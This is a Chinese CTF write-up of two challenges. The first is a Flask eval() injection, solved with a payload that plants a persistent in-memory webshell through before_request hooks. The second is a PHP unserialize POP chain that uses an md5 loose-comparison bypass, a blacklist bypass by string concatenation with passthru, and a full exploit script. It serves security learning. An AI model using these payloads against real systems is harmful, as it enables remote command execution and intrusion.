关联:CTF wp安全学习

week 3

【这又是什么函数】

先目录扫描发现/src 路由,得到源代码

from flask import Flask,request,render_template
 
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')
 
@app.route('/doit', methods=['GET', 'POST'])
def doit():
    e=request.form.get('e')
    try:
        eval(e)
        return "done!"
    except Exception as e:
        return "error!"
 
@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()
 
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

可以看到/doit 路由存在eval 函数可以执行表达式。这里是无回显的,并且环境不出网,所以我们可以打内存马。 post传:

e=eval("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda 
:__import__('os').popen(request.args.get('0')).read())")

打入之后会在当前路由加载前执行get传入的命令,我们直接访问当前路由doit?0=cat /flag 即可

week 4

【Path to Hero】

给了我们源码

<?php
highlight_file('index.php');
 
Class Start
{
    public $ishero;
    public $adventure;
 
 
    public function __wakeup(){
 
        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊,去寻找利刃吧<br>";
 
            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧!<br>";
        }
    }
}
 
class Sword
{
    public $test1;
    public $test2;
    public $go;
 
    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}
 
class Mon3tr
{
    private $result;
    public $end;
 
    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了!魔王<br>";
 
        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗?<br>";
        }
        return "<br>";
    }
}
 
class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了?<br>";
        eval($arg[0]);
    }
}
 
if (isset($_POST["HERO"])) {
    unserialize($_POST["HERO"]);
}

经典的php反序列化,构造pop链的过程如下: 下面是如何绕过这些if: 1.

if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {  
    echo "<br>勇者啊,去寻找利刃吧<br>";  
  
    return $this->adventure->sword;  
}  

strpos() 函数的作用是返回字符串中指定字符串出现的位置,这里只要不为false,并且我们的输入不为hero,那我们输入1hero就好了。 2.

if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {  
    echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";  
    echo $this->go;  
}

这里就常规的md5绕过,就不说了。 3.

if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {  
    $result->end($this->end);  
}

这里要执行命令了,禁了system,我们首先选择有回显的passthru,绕过字符串就用字符串拼接就好了passthru('l'.'s');

完整exp:

<?php  
  
Class Start  
{  
    public $ishero;  
    public $adventure;  
}  
  
class Sword  
{  
    public $test1;  
    public $test2;  
    public $go;  
}  
  
class Mon3tr  
{  
    private $result;  
    public $end;  
}  
  
class Treasure  
{  
 
}  
  
$Star = new Start();  
$Star->ishero = "nohero";  
$Sword = new Sword();  
$Star->adventure = $Sword;  
$Sword->test1 = "QNKCDZO";  
$Sword->test2 = "240610708";  
$Sword->go = new Mon3tr();  
$Sword->go->end = "passthru('l'.'s');";  
   
echo serialize($Star);